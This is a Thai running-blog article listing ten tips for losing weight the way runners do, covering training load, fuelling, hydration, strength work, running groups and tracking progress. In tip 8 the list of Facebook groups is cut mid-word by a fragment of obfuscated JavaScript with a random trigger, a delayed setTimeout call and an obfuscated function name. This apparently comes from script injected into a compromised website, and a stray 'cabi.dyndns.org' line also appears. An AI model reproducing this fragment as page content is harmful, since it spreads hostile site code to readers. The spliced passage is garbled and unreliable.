• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

ทิป 10 วิธีผอมแบบนักวิ่ง

stepextra by stepextra
9 October 2015
in Feature, Running Tips, Tips & Technics
0
ทิป 10 วิธีผอมแบบนักวิ่ง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เราไปดูกันว่านักวิ่งเขามีวิธีทำให้หุ่นดู Fit & Firm กับ “ทิป 10 วิธีผอมแบบนักวิ่ง”

1. เลือกเสื้อผ้าเข้ารูป ทุกครั้งที่คุณเริ่มออกพุ่งจะสังเกตเห็นความเปลี่ยนแปลงได้ชัดเจน เป็นกุศโลบายทางจิตวิตยาอย่างหนึ่งที่คอยบังคับให้คุณต้องระวังอาหารการกินเพื่อดูแลรูปร่าง

PureProject-Apparel-Women2
cabi.dyndns.org

2. วิ่ง Extra miles ทุกๆ สัปดาห์ที่วิ่งแบบ LSD จะมีการเพิ่มระยะทางขึ้น แต่จำไว้ว่าให้ยึดกฎ 10% คือเพิ่มได้ไม่เกิน 10% จากระยะทางเดิม เพื่อต้องกันอาการบาดเจ็บ

3. กินของรองท้องเบาๆ ก่อนออกวิ่งอย่างน้อย 15-30 นาที อย่าวิ่งท้องว่างเด็ดขาด เพราะการวิ่งจำเป็นต้องใช้พลังงาน ยิ่งวิ่งระยะไกลๆ ควรมีอาหารอย่างขนมคบเคี้ยว powerbar หรือ powergel พกติดไปด้วย เวลาจบจะช่วยลดอาการหิวโซได้อย่างดี

kp-half_fri_energy-gel

4. เปิดเพลง การเปิดเพลงกระตุ้นการวิ่ง ทำไห้เราวิ่งได้เร็วขึ้น มีผลต่ออัตราการเต้นของหัวใจเช่นกัน จะให้ช้าหรือเร็วก็ขึ้นกับ beat ของเพลง และช่วยให้วิ่งได้นานขึ้นเพราะเพลงจะช่วยให้ลืมอาการเจ็บปวดไปชั่วขณะ

5. ดื่มน้ำก่อนวิ่งและระหว่างวิ่ง ให้ร่างกายรักษาสมดุลน้ำ หลีกเลี่ยงเครื่องด่มเกลือแร่ที่มีขายตามท้องตลาดเพราะมีปริมาณน้ำตาลผสม แนะนำให้เลือกใช้ผลิตภัณฑ์ผงอิเล็กโตรไลท์ละลายน้ำอย่าง GU Electrolyte Brew หรือของยี่ห้อไทยอย่าง RevvEnergy ก็ดี

6. ฝึก Strength training ไม่ว่าจะยกเวทหรือเล่น Body weight ก็ได้ อย่าคิดว่านักวิ่งจะแค่วิ่งอย่างเดียว การฝึกกล้ามเนื้อก็ช่วยให้มีการเผาผลาญแคลอรี่ได้เหมือนกัน แถมช่วยป้องกันอาการบาดเจ็บด้วย

training-828741_1280

 

7. ฝึก Interval ใช้ได้ดีในกรณีที่เวลาออกกำลังกายมีน้อย สามารถเข้าไปดูได้ที่ บทความ “วิ่งอย่างไรเมื่อเวลามีน้อย” หรือจะเป็น “วิ่งสลายไขมันภายใน 20 นาที”

8. ชวนกับชมรม หรือกลุ่มสมาคม เพื่อนหรือก๊วนที่เรารู้จัก เพราะจะได้ช่วยกันลาก ช่วยกับกระตุ้นต่อมแรงบันดาลใจให้มีไฟที่จะวิ่งต่อไป ถ้าใครยังไม่มีกลุ่มหรือเพื่อนวิ่งลองเข้าไปดู ใน เพจ Facebook อย่าง วิ่งไหนดี, แนวร่วมลดน้ำหนัก, ประสบการณ์มาราธอน_42.195K_Clubเราจะไปมาราธอนด้วยกัน และ Ultra & Trail Runners in Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ก็ได้ครับ

11205612_10206642566882957_7673575154529951270_n

9. ลงทุนในอุปกรณ์ Sport Gadget อย่างเช่น นาฬิกาวิ่ง,Heart Rate Monitor, แอพออกกำลังกายอย่าง Runtastic และ Strava ช่วยให้เห็นข้อมูลการออกกำลังของคุณ ไม่ว่าจะเป็นการสะสมระยะทาง จำนวนแคลอรี่ที่เบร์นไป ความเร็วและโซนการเต้นหัวใจ ช่วยให้การวิ่งของคุรสนุกมีเป้าหมายทุกครั้ง ข้อมูลที่สะสมวันแอพจะกลายเป็นสิ่งที่คุณจับต้องได้ และโชว์ให้เพื่อนๆ ดูได้ด้วย

10. เช็คสัดส่วนตัวเองด้วยการถ่ายรูป Before-After ทดลองถ่ายรูปคุณทุกๆ สุดสัปดาห์เก็บสะสมเรื่อยจนครบ 3 เดือน แล้วสังเกตการเปลี่ยนแปลงของสัดส่วนรูปร่างคุณดู ส่วนการใช้ตราชั่งแนะนำว่า ใช้สัปดาห์ละครั้งพอ ก่อนนอนหรือตอนตื่นเช้า การออกกำลังกายไม่ว่าจะวิ่งเล่นเวทจะมีการสร้างกล้ามเนื้อมา Tone Body หรือทำให้เข้าสัดส่วน น้ำหนักที่เพิ่มมาจึงไม่ใช้เรื่องแปลก ที่สำคัญคือให้สังเกตสัดส่วนคุณเป็นหลัก

 

ShareTweetShare
stepextra

stepextra

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.